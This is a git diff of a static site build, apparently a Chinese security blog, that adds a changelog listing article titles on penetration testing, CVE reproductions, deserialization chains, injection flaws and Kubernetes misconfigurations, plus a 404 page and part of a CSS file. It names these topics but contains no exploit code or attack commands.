时间作者路径操作
2024-09-11 11:17:42wjlin0代码审计/PHP/PHP代码审计新增
2024-06-23 01:02:22wjlin0CTF/奇技淫巧/JS2PY意外获取根对象CVE-2024-28397新增
+

2024年06月​

+

2024年06月12日​

+ + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-06-11 11:03:33wjlin0CTF/奇技淫巧/FILTERS的任意格式输出新增
2024-06-11 10:54:18wjlin0CTF/奇技淫巧/利用shell脚本变量构造无字母数字命令新增
+

2024年06月06日​

+ + + + + + + + + +
时间作者路径操作
+

2024年04月​

+

2024年04月01日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-02-23 11:56:45wjlin0漏洞复现/Thinkphp/CVE-2022-38352新增
2024-01-21 22:24:13wjlin0渗透测试/工具使用/oss-put新增
2024-01-24 00:20:01wjlin0渗透测试/渗透手法/某大学渗透测试/index新增
2024-01-25 14:53:09wjlin0渗透测试/渗透手法/SpringBoot渗透/index新增
2024-03-29 13:36:28wjlin0渗透测试/内网渗透/k3s安装/index新增
2024-02-23 10:08:42wjlin0漏洞复现/Thinkphp/Thinkphp6.0.12反序列化补充更新
2024-04-01 15:28:54wjlin0渗透测试/工具使用/PathScan补充更新
+

2024年01月​

+

2024年01月13日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-01-13 04:55:28wjlin0渗透测试/免杀/fscan免杀/index新增
+

2024年01月12日​

+ + + + + + + + + +
时间作者路径操作
+

2023年10月​

+

2023年10月20日​

+ + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-10-16 22:58:24wjlin0渗透测试/内网渗透/kubernetes/容器逃逸的手法/index新增
2023-10-20 13:40:20wjlin0CTF/Knownsec/knownsec-ctf-09/index新增
+

2023年08月​

+

2023年08月22日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-08-22 17:33:34wjlin0pathScan-doc/下载安装新增
2023-08-22 17:33:34wjlin0pathScan-doc/初始化新增
2023-08-22 17:33:34wjlin0pathScan-doc/命令参数新增
2023-08-22 17:34:33wjlin0pathScan-doc/扫描模式新增
2023-08-22 17:42:22wjlin0渗透测试/WEB漏洞/XSS注入/XSSInAngular新增
2023-08-06 20:16:36wjlin0渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite新增
2023-08-22 17:49:37wjlin0渗透测试/WEB漏洞/XSS注入/XSSInAngular补充更新
2023-08-22 18:15:12wjlin0渗透测试/WEB漏洞/XSS注入/XSSInAngular补充更新
+

2023年08月06日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-07-05 00:17:41wjlin0渗透测试/WEB漏洞/XSS注入/index新增
+

2023年07月​

+

2023年07月14日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-07-14 00:03:04wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Kubelet新增
2023-07-13 23:34:09wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer补充更新
2023-07-13 23:30:20wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd补充更新
+

2023年07月12日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-07-09 12:26:05wjlin0渗透测试/工具使用/PathScan补充更新
+

2023年07月09日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-07-09 12:08:59wjlin0渗透测试/工具使用/PathScan新增
+

2023年07月08日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-07-08 02:14:35wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer新增
2023-07-08 01:39:19wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd新增
2023-07-08 12:36:39wjlin0渗透测试/内网渗透/kubernetes/index新增
2023-07-08 12:36:53wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/index新增
+

2023年07月05日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-07-05 12:44:58wjlin0渗透测试/WEB漏洞/SQL注入/MySQL新增
2023-07-05 12:44:09wjlin0渗透测试/WEB漏洞/SQL注入/PostgreSQL新增
2023-07-05 12:50:10wjlin0渗透测试/WEB漏洞/SQL注入/SQLite新增
2023-07-05 12:51:16wjlin0渗透测试/WEB漏洞/SQL注入/MSSQL新增
2023-07-05 13:01:35wjlin0渗透测试/WEB漏洞/SQL注入/HQL新增
2023-07-05 12:53:54wjlin0渗透测试/WEB漏洞/SQL注入/DB2新增
2023-07-05 13:08:59wjlin0渗透测试/WEB漏洞/SQL注入/Cassandra新增
2023-07-05 13:09:09wjlin0渗透测试/WEB漏洞/SQL注入/BigQuery新增
+

2023年06月​

+

2023年06月05日​

+ + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-06-04 17:00:04wjlin0漏洞复现/cve/2023/CVE-2023-33246补充更新
2023-06-04 17:00:35wjlin0漏洞复现/cve/2023/CVE-2023-33979补充更新
+

2023年06月03日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-06-03 19:16:57wjlin0漏洞复现/cve/2023/CVE-2023-33979新增
+

2023年06月02日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-06-02 16:11:45wjlin0漏洞复现/cve/2023/CVE-2023-33246新增
+

2023年04月​

+

2023年04月11日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-04-09 18:56:25wjlin0漏洞复现/Trojanpanel/TrojanPanel未授权添加用户新增
+

2023年04月09日​

+ + + + + + + + + +
时间作者路径操作
+

2023年04月04日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-04-04 15:16:07wjlin0渗透测试/WEB漏洞/SQL注入/Oracle补充更新
+

2023年03月​

+

2023年03月17日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-03-16 18:10:51wjlin0渗透测试/WEB漏洞/SQL注入/Oracle新增
+

2023年03月15日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-03-13 14:22:46wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC2补充更新
+

2023年03月13日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-03-10 11:28:36wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC2新增
2023-02-21 18:16:06wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC1补充更新
2023-03-10 11:24:10wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC3补充更新
2023-03-10 11:25:30wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC6补充更新
+

2023年02月​

+

2023年02月21日​

+ + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-02-21 10:51:23wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC3新增
2023-02-21 11:01:06wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC6新增
+

2023年02月20日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-11-21 18:27:23wjlin0代码审计/Java/ysoserial利用链/URLDNS新增
2023-02-20 14:42:12wjlin0代码审计/Java/ysoserial利用链/CC1-7/index新增
2023-02-20 14:42:30wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC1新增
2023-02-20 17:10:26wjlin0代码审计/Java/ysoserial利用链/CC1-7/CC1补充更新
+

2023年01月​

+

2023年01月29日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-01-29 15:11:54wjlin0漏洞复现/V2board/privilege-escalation-1.6新增
+

2023年01月28日​

+ + + + + + + + + +
时间作者路径操作
+

2023年01月26日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-01-26 14:16:15wjlin0渗透测试/内网渗透/MSF提权新增
+

2023年01月04日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-01-04 15:06:03wjlin0语言知识/Go/Go模块学习/GoLang-goflags新增
+

2022年12月​

+

2022年12月29日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-12-29 00:57:14wjlin0语言知识/Go/Go代码案例/GoLang-简易http代理新增
+

2022年12月27日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-12-27 16:42:44wjlin0语言知识/Go/Go基础编程/GoLang-基础之并发新增
2022-12-27 16:23:49wjlin0语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-CVE-2022-26134新增
2022-12-27 16:49:42wjlin0语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-Docker-Daemon-Api-Rce新增
2022-12-27 17:04:27wjlin0语言知识/Go/Go基础编程/GoLang-开发环境配置新增
2022-12-27 17:09:28wjlin0语言知识/Go/Go基础编程/GoLang-变量常量新增
2022-12-27 17:13:48wjlin0语言知识/Go/Go基础编程/GoLang-数据类型新增
2022-12-27 17:14:56wjlin0语言知识/Go/Go基础编程/GoLang-运算符新增
2022-12-27 17:16:03wjlin0语言知识/Go/Go基础编程/GoLang-流程控制新增
2022-12-27 17:18:28wjlin0语言知识/Go/Go基础编程/GoLang-数组新增
2022-12-27 17:20:33wjlin0语言知识/Go/Go基础编程/GoLang-切片新增
2022-12-27 17:29:21wjlin0语言知识/Go/Go基础编程/GoLang-指针新增
2022-12-27 17:29:42wjlin0语言知识/Go/Go基础编程/GoLang-map新增
2022-12-27 17:32:09wjlin0语言知识/Go/Go基础编程/GoLang-函数新增
2022-12-27 17:33:42wjlin0语言知识/Go/Go基础编程/GoLang-文件io新增
2022-12-27 17:34:26wjlin0语言知识/Go/Go基础编程/Golang-操作MySQL新增
2022-12-27 17:35:00wjlin0语言知识/Go/Go基础编程/GoLang-操作Redis新增
2022-12-27 17:37:03wjlin0语言知识/Go/Go基础编程/GoLang-结构体新增
2022-12-27 17:37:45wjlin0语言知识/Go/Go基础编程/GoLang-包新增
2022-12-27 17:38:08wjlin0语言知识/Go/Go基础编程/GoLang-接口新增
2022-12-27 17:39:31wjlin0语言知识/Go/Go基础编程/GoLang-反射新增
2022-12-27 17:40:13wjlin0语言知识/Go/Go基础编程/GoLang-并发新增
2022-12-27 17:41:37wjlin0语言知识/Go/Go基础编程/GoLang-网络编程新增
2022-12-27 17:48:54wjlin0语言知识/Go/Go基础编程/index新增
2022-12-27 17:47:52wjlin0语言知识/Go/Go模块学习/GoLang-fmt新增
2022-12-27 23:01:53wjlin0语言知识/Go/Go模块学习/GoLand-net.http新增
2022-12-27 23:01:53wjlin0语言知识/Go/Go模块学习/GoLand-net.http新增
+

2022年12月26日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-12-26 01:41:23wjlin0语言知识/Go/Go代码案例/Go编写POC/CVE-2022-26134新增
2022-12-26 01:45:11wjlin0语言知识/Go/Go代码案例/Go编写POC/CVE-2022-26134补充更新
2022-12-26 12:50:54wjlin0语言知识/Go/Go代码案例/Go编写POC/CVE-2022-26134补充更新
2022-12-26 13:16:05wjlin0语言知识/Go/Go代码案例/Go编写POC/CVE-2022-26134补充更新
+

2022年12月24日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-12-24 13:56:59wjlin0语言知识/Python/Python模块学习/Python-http请求库/Python-Requests/Python-Requests新增
2022-12-24 15:18:38wjlin0语言知识/index新增
2022-12-24 15:20:09wjlin0语言知识/Python/Python模块学习/Python-http请求库/Python-Requests/Python-Requests删除
+

2022年12月23日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-12-23 16:31:45wjlin0渗透测试/信息收集/资产收集/主域名收集/证书查询新增
2022-12-23 20:50:23wjlin0渗透测试/信息收集/资产收集/主域名收集/WHOIS-IP反查查询新增
2022-12-23 20:53:51wjlin0渗透测试/信息收集/资产收集/主域名收集/google查询新增
2022-12-23 20:31:53wjlin0渗透测试/信息收集/资产收集/主域名收集/index新增
2022-12-23 21:58:26wjlin0渗透测试/信息收集/index新增
2022-12-23 23:04:04wjlin0渗透测试/WEB漏洞/SQL注入/注入判断新增
2022-12-23 23:04:15wjlin0渗透测试/WEB漏洞/SQL注入/数据库识别新增
2022-12-23 22:25:34wjlin0渗透测试/WEB漏洞/SQL注入/index新增
+

2022年12月22日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-12-22 18:39:14wjlin0渗透测试/信息收集/资产收集/主域名收集/ICP备案查询新增
2022-12-22 18:26:50wjlin0漏洞复现/Thinkphp/Thinkphp5.0.22远程代码执行新增
2022-12-22 18:22:17wjlin0漏洞复现/Thinkphp/Thinkphp6.0.12反序列化新增
2022-12-22 18:24:05wjlin0漏洞复现/Thinkphp/Thinkphpv6.0.13多语言Rce新增
2022-12-22 23:47:08wjlin0未分类的/代理类/基于xray的科学上网新增
+

2022年12月15日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-12-15 12:28:38wjlin0代码审计/PHP/PHP代码审计基础知识新增
+

2022年12月01日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2022-12-01 00:42:24wjlin0代码审计/Java/基础审计/JAVA反序列化漏洞新增
+

2022年11月​

+

2022年11月29日​

+ + + + + + + + + +
时间作者路径操作
+ + \ No newline at end of file diff --git a/en/.nojekyll b/en/.nojekyll new file mode 100644 index 0000000..e69de29 diff --git a/en/404.html b/en/404.html new file mode 100644 index 0000000..3375614 --- /dev/null +++ b/en/404.html @@ -0,0 +1,16 @@ + + + + + +Page Not Found | wjlin0 + + + + + + + +

Page Not Found

We could not find what you were looking for.

Please contact the owner of the site that linked you to the original URL and let them know their link is broken.

+ + \ No newline at end of file diff --git a/en/assets/css/styles.b3fb48aa.css b/en/assets/css/styles.b3fb48aa.css new file mode 100644 index 0000000..d417390 --- /dev/null +++ b/en/assets/css/styles.b3fb48aa.css @@ -0,0 +1 @@ +@layer docusaurus.infima,docusaurus.theme-common,docusaurus.theme-classic,docusaurus.core,docusaurus.plugin-debug,docusaurus.theme-mermaid,docusaurus.theme-live-codeblock,docusaurus.theme-search-algolia.docsearch,docusaurus.theme-search-algolia;@layer docusaurus.infima{.col,.container{padding:0 var(--ifm-spacing-horizontal);width:100%}.markdown>h2,.markdown>h3,.markdown>h4,.markdown>h5,.markdown>h6{margin-bottom:calc(var(--ifm-heading-vertical-rhythm-bottom)*var(--ifm-leading))}.markdown li,body{word-wrap:break-word}body,ol ol,ol ul,ul ol,ul ul{margin:0}pre,table{overflow:auto}blockquote,pre{margin:0 0 var(--ifm-spacing-vertical)}.breadcrumbs__link,.button{transition-timing-function:var(--ifm-transition-timing-default)}.button,code{vertical-align:middle}.button--outline.button--active,.button--outline:active,.button--outline:hover,:root{--ifm-button-color:var(--ifm-font-color-base-inverse)}.menu__link:hover,a{transition:color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.navbar--dark,:root{--ifm-navbar-link-hover-color:var(--ifm-color-primary)}.menu,.navbar-sidebar{overflow-x:hidden}:root,html[data-theme=dark]{--ifm-color-emphasis-500:var(--ifm-color-gray-500)}:root{--ifm-color-scheme:light;--ifm-dark-value:10%;--ifm-darker-value:15%;--ifm-darkest-value:30%;--ifm-light-value:15%;--ifm-lighter-value:30%;--ifm-lightest-value:50%;--ifm-contrast-background-value:90%;--ifm-contrast-foreground-value:70%;--ifm-contrast-background-dark-value:70%;--ifm-contrast-foreground-dark-value:90%;--ifm-color-primary:#3578e5;--ifm-color-secondary:#ebedf0;--ifm-color-success:#00a400;--ifm-color-info:#54c7ec;--ifm-color-warning:#ffba00;--ifm-color-danger:#fa383e;--ifm-color-primary-dark:#306cce;--ifm-color-primary-darker:#2d66c3;--ifm-color-primary-darkest:#2554a0;--ifm-color-primary-light:#538ce9;--ifm-color-primary-lighter:#72a1ed;--ifm-color-primary-lightest:#9abcf2;--ifm-color-primary-contrast-background:#ebf2fc;--ifm-color-primary-contrast-foreground:#102445;--ifm-color-secondary-dark:#d4d5d8;--ifm-color-secondary-darker:#c8c9cc;--ifm-color-secondary-darkest:#a4a6a8;--ifm-color-secondary-light:#eef0f2;--ifm-color-secondary-lighter:#f1f2f5;--ifm-color-secondary-lightest:#f5f6f8;--ifm-color-secondary-contrast-background:#fdfdfe;--ifm-color-secondary-contrast-foreground:#474748;--ifm-color-success-dark:#009400;--ifm-color-success-darker:#008b00;--ifm-color-success-darkest:#007300;--ifm-color-success-light:#26b226;--ifm-color-success-lighter:#4dbf4d;--ifm-color-success-lightest:#80d280;--ifm-color-success-contrast-background:#e6f6e6;--ifm-color-success-contrast-foreground:#003100;--ifm-color-info-dark:#4cb3d4;--ifm-color-info-darker:#47a9c9;--ifm-color-info-darkest:#3b8ba5;--ifm-color-info-light:#6ecfef;--ifm-color-info-lighter:#87d8f2;--ifm-color-info-lightest:#aae3f6;--ifm-color-info-contrast-background:#eef9fd;--ifm-color-info-contrast-foreground:#193c47;--ifm-color-warning-dark:#e6a700;--ifm-color-warning-darker:#d99e00;--ifm-color-warning-darkest:#b38200;--ifm-color-warning-light:#ffc426;--ifm-color-warning-lighter:#ffcf4d;--ifm-color-warning-lightest:#ffdd80;--ifm-color-warning-contrast-background:#fff8e6;--ifm-color-warning-contrast-foreground:#4d3800;--ifm-color-danger-dark:#e13238;--ifm-color-danger-darker:#d53035;--ifm-color-danger-darkest:#af272b;--ifm-color-danger-light:#fb565b;--ifm-color-danger-lighter:#fb7478;--ifm-color-danger-lightest:#fd9c9f;--ifm-color-danger-contrast-background:#ffebec;--ifm-color-danger-contrast-foreground:#4b1113;--ifm-color-white:#fff;--ifm-color-black:#000;--ifm-color-gray-0:var(--ifm-color-white);--ifm-color-gray-100:#f5f6f7;--ifm-color-gray-200:#ebedf0;--ifm-color-gray-300:#dadde1;--ifm-color-gray-400:#ccd0d5;--ifm-color-gray-500:#bec3c9;--ifm-color-gray-600:#8d949e;--ifm-color-gray-700:#606770;--ifm-color-gray-800:#444950;--ifm-color-gray-900:#1c1e21;--ifm-color-gray-1000:var(--ifm-color-black);--ifm-color-emphasis-0:var(--ifm-color-gray-0);--ifm-color-emphasis-100:var(--ifm-color-gray-100);--ifm-color-emphasis-200:var(--ifm-color-gray-200);--ifm-color-emphasis-300:var(--ifm-color-gray-300);--ifm-color-emphasis-400:var(--ifm-color-gray-400);--ifm-color-emphasis-600:var(--ifm-color-gray-600);--ifm-color-emphasis-700:var(--ifm-color-gray-700);--ifm-color-emphasis-800:var(--ifm-color-gray-800);--ifm-color-emphasis-900:var(--ifm-color-gray-900);--ifm-color-emphasis-1000:var(--ifm-color-gray-1000);--ifm-color-content:var(--ifm-color-emphasis-900);--ifm-color-content-inverse:var(--ifm-color-emphasis-0);--ifm-color-content-secondary:#525860;--ifm-background-color:#0000;--ifm-background-surface-color:var(--ifm-color-content-inverse);--ifm-global-border-width:1px;--ifm-global-radius:0.4rem;--ifm-hover-overlay:#0000000d;--ifm-font-color-base:var(--ifm-color-content);--ifm-font-color-base-inverse:var(--ifm-color-content-inverse);--ifm-font-color-secondary:var(--ifm-color-content-secondary);--ifm-font-family-base:system-ui,-apple-system,Segoe UI,Roboto,Ubuntu,Cantarell,Noto Sans,sans-serif,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--ifm-font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--ifm-font-size-base:100%;--ifm-font-weight-light:300;--ifm-font-weight-normal:400;--ifm-font-weight-semibold:500;--ifm-font-weight-bold:700;--ifm-font-weight-base:var(--ifm-font-weight-normal);--ifm-line-height-base:1.65;--ifm-global-spacing:1rem;--ifm-spacing-vertical:var(--ifm-global-spacing);--ifm-spacing-horizontal:var(--ifm-global-spacing);--ifm-transition-fast:200ms;--ifm-transition-slow:400ms;--ifm-transition-timing-default:cubic-bezier(0.08,0.52,0.52,1);--ifm-global-shadow-lw:0 1px 2px 0 #0000001a;--ifm-global-shadow-md:0 5px 40px #0003;--ifm-global-shadow-tl:0 12px 28px 0 #0003,0 2px 4px 0 #0000001a;--ifm-z-index-dropdown:100;--ifm-z-index-fixed:200;--ifm-z-index-overlay:400;--ifm-container-width:1140px;--ifm-container-width-xl:1320px;--ifm-code-background:#f6f7f8;--ifm-code-border-radius:var(--ifm-global-radius);--ifm-code-font-size:90%;--ifm-code-padding-horizontal:0.1rem;--ifm-code-padding-vertical:0.1rem;--ifm-pre-background:var(--ifm-code-background);--ifm-pre-border-radius:var(--ifm-code-border-radius);--ifm-pre-color:inherit;--ifm-pre-line-height:1.45;--ifm-pre-padding:1rem;--ifm-heading-color:inherit;--ifm-heading-margin-top:0;--ifm-heading-margin-bottom:var(--ifm-spacing-vertical);--ifm-heading-font-family:var(--ifm-font-family-base);--ifm-heading-font-weight:var(--ifm-font-weight-bold);--ifm-heading-line-height:1.25;--ifm-h1-font-size:2rem;--ifm-h2-font-size:1.5rem;--ifm-h3-font-size:1.25rem;--ifm-h4-font-size:1rem;--ifm-h5-font-size:0.875rem;--ifm-h6-font-size:0.85rem;--ifm-image-alignment-padding:1.25rem;--ifm-leading-desktop:1.25;--ifm-leading:calc(var(--ifm-leading-desktop)*1rem);--ifm-list-left-padding:2rem;--ifm-list-margin:1rem;--ifm-list-item-margin:0.25rem;--ifm-list-paragraph-margin:1rem;--ifm-table-cell-padding:0.75rem;--ifm-table-background:#0000;--ifm-table-stripe-background:#00000008;--ifm-table-border-width:1px;--ifm-table-border-color:var(--ifm-color-emphasis-300);--ifm-table-head-background:inherit;--ifm-table-head-color:inherit;--ifm-table-head-font-weight:var(--ifm-font-weight-bold);--ifm-table-cell-color:inherit;--ifm-link-color:var(--ifm-color-primary);--ifm-link-decoration:none;--ifm-link-hover-color:var(--ifm-link-color);--ifm-link-hover-decoration:underline;--ifm-paragraph-margin-bottom:var(--ifm-leading);--ifm-blockquote-font-size:var(--ifm-font-size-base);--ifm-blockquote-border-left-width:2px;--ifm-blockquote-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-blockquote-padding-vertical:0;--ifm-blockquote-shadow:none;--ifm-blockquote-color:var(--ifm-color-emphasis-800);--ifm-blockquote-border-color:var(--ifm-color-emphasis-300);--ifm-hr-background-color:var(--ifm-color-emphasis-500);--ifm-hr-height:1px;--ifm-hr-margin-vertical:1.5rem;--ifm-scrollbar-size:7px;--ifm-scrollbar-track-background-color:#f1f1f1;--ifm-scrollbar-thumb-background-color:silver;--ifm-scrollbar-thumb-hover-background-color:#a7a7a7;--ifm-alert-background-color:inherit;--ifm-alert-border-color:inherit;--ifm-alert-border-radius:var(--ifm-global-radius);--ifm-alert-border-width:0px;--ifm-alert-border-left-width:5px;--ifm-alert-color:var(--ifm-font-color-base);--ifm-alert-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-alert-padding-vertical:var(--ifm-spacing-vertical);--ifm-alert-shadow:var(--ifm-global-shadow-lw);--ifm-avatar-intro-margin:1rem;--ifm-avatar-intro-alignment:inherit;--ifm-avatar-photo-size:3rem;--ifm-badge-background-color:inherit;--ifm-badge-border-color:inherit;--ifm-badge-border-radius:var(--ifm-global-radius);--ifm-badge-border-width:var(--ifm-global-border-width);--ifm-badge-color:var(--ifm-color-white);--ifm-badge-padding-horizontal:calc(var(--ifm-spacing-horizontal)*0.5);--ifm-badge-padding-vertical:calc(var(--ifm-spacing-vertical)*0.25);--ifm-breadcrumb-border-radius:1.5rem;--ifm-breadcrumb-spacing:0.5rem;--ifm-breadcrumb-color-active:var(--ifm-color-primary);--ifm-breadcrumb-item-background-active:var(--ifm-hover-overlay);--ifm-breadcrumb-padding-horizontal:0.8rem;--ifm-breadcrumb-padding-vertical:0.4rem;--ifm-breadcrumb-size-multiplier:1;--ifm-breadcrumb-separator:url('data:image/svg+xml;utf8,');--ifm-breadcrumb-separator-filter:none;--ifm-breadcrumb-separator-size:0.5rem;--ifm-breadcrumb-separator-size-multiplier:1.25;--ifm-button-background-color:inherit;--ifm-button-border-color:var(--ifm-button-background-color);--ifm-button-border-width:var(--ifm-global-border-width);--ifm-button-font-weight:var(--ifm-font-weight-bold);--ifm-button-padding-horizontal:1.5rem;--ifm-button-padding-vertical:0.375rem;--ifm-button-size-multiplier:1;--ifm-button-transition-duration:var(--ifm-transition-fast);--ifm-button-border-radius:calc(var(--ifm-global-radius)*var(--ifm-button-size-multiplier));--ifm-button-group-spacing:2px;--ifm-card-background-color:var(--ifm-background-surface-color);--ifm-card-border-radius:calc(var(--ifm-global-radius)*2);--ifm-card-horizontal-spacing:var(--ifm-global-spacing);--ifm-card-vertical-spacing:var(--ifm-global-spacing);--ifm-toc-border-color:var(--ifm-color-emphasis-300);--ifm-toc-link-color:var(--ifm-color-content-secondary);--ifm-toc-padding-vertical:0.5rem;--ifm-toc-padding-horizontal:0.5rem;--ifm-dropdown-background-color:var(--ifm-background-surface-color);--ifm-dropdown-font-weight:var(--ifm-font-weight-semibold);--ifm-dropdown-link-color:var(--ifm-font-color-base);--ifm-dropdown-hover-background-color:var(--ifm-hover-overlay);--ifm-footer-background-color:var(--ifm-color-emphasis-100);--ifm-footer-color:inherit;--ifm-footer-link-color:var(--ifm-color-emphasis-700);--ifm-footer-link-hover-color:var(--ifm-color-primary);--ifm-footer-link-horizontal-spacing:0.5rem;--ifm-footer-padding-horizontal:calc(var(--ifm-spacing-horizontal)*2);--ifm-footer-padding-vertical:calc(var(--ifm-spacing-vertical)*2);--ifm-footer-title-color:inherit;--ifm-footer-logo-max-width:min(30rem,90vw);--ifm-hero-background-color:var(--ifm-background-surface-color);--ifm-hero-text-color:var(--ifm-color-emphasis-800);--ifm-menu-color:var(--ifm-color-emphasis-700);--ifm-menu-color-active:var(--ifm-color-primary);--ifm-menu-color-background-active:var(--ifm-hover-overlay);--ifm-menu-color-background-hover:var(--ifm-hover-overlay);--ifm-menu-link-padding-horizontal:0.75rem;--ifm-menu-link-padding-vertical:0.375rem;--ifm-menu-link-sublist-icon:url('data:image/svg+xml;utf8,');--ifm-menu-link-sublist-icon-filter:none;--ifm-navbar-background-color:var(--ifm-background-surface-color);--ifm-navbar-height:3.75rem;--ifm-navbar-item-padding-horizontal:0.75rem;--ifm-navbar-item-padding-vertical:0.25rem;--ifm-navbar-link-color:var(--ifm-font-color-base);--ifm-navbar-link-active-color:var(--ifm-link-color);--ifm-navbar-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-navbar-padding-vertical:calc(var(--ifm-spacing-vertical)*0.5);--ifm-navbar-shadow:var(--ifm-global-shadow-lw);--ifm-navbar-search-input-background-color:var(--ifm-color-emphasis-200);--ifm-navbar-search-input-color:var(--ifm-color-emphasis-800);--ifm-navbar-search-input-placeholder-color:var(--ifm-color-emphasis-500);--ifm-navbar-search-input-icon:url('data:image/svg+xml;utf8,');--ifm-navbar-sidebar-width:83vw;--ifm-pagination-border-radius:var(--ifm-global-radius);--ifm-pagination-color-active:var(--ifm-color-primary);--ifm-pagination-font-size:1rem;--ifm-pagination-item-active-background:var(--ifm-hover-overlay);--ifm-pagination-page-spacing:0.2em;--ifm-pagination-padding-horizontal:calc(var(--ifm-spacing-horizontal)*1);--ifm-pagination-padding-vertical:calc(var(--ifm-spacing-vertical)*0.25);--ifm-pagination-nav-border-radius:var(--ifm-global-radius);--ifm-pagination-nav-color-hover:var(--ifm-color-primary);--ifm-pills-color-active:var(--ifm-color-primary);--ifm-pills-color-background-active:var(--ifm-hover-overlay);--ifm-pills-spacing:0.125rem;--ifm-tabs-color:var(--ifm-font-color-secondary);--ifm-tabs-color-active:var(--ifm-color-primary);--ifm-tabs-color-active-border:var(--ifm-tabs-color-active);--ifm-tabs-padding-horizontal:1rem;--ifm-tabs-padding-vertical:1rem}.badge--danger,.badge--info,.badge--primary,.badge--secondary,.badge--success,.badge--warning{--ifm-badge-border-color:var(--ifm-badge-background-color)}.button--link,.button--outline{--ifm-button-background-color:#0000}*{box-sizing:border-box}html{background-color:var(--ifm-background-color);color:var(--ifm-font-color-base);color-scheme:var(--ifm-color-scheme);font:var(--ifm-font-size-base)/var(--ifm-line-height-base) var(--ifm-font-family-base);-webkit-font-smoothing:antialiased;-webkit-tap-highlight-color:transparent;text-rendering:optimizelegibility;-webkit-text-size-adjust:100%;text-size-adjust:100%}iframe{border:0;color-scheme:auto}.container{margin:0 auto;max-width:var(--ifm-container-width)}.container--fluid{max-width:inherit}.row{display:flex;flex-wrap:wrap;margin:0 calc(var(--ifm-spacing-horizontal)*-1)}.margin-bottom--none,.margin-vert--none,.markdown>:last-child{margin-bottom:0!important}.margin-top--none,.margin-vert--none{margin-top:0!important}.row--no-gutters{margin-left:0;margin-right:0}.margin-horiz--none,.margin-right--none{margin-right:0!important}.row--no-gutters>.col{padding-left:0;padding-right:0}.row--align-top{align-items:flex-start}.row--align-bottom{align-items:flex-end}.row--align-center{align-items:center}.row--align-stretch{align-items:stretch}.row--align-baseline{align-items:baseline}.col{--ifm-col-width:100%;flex:1 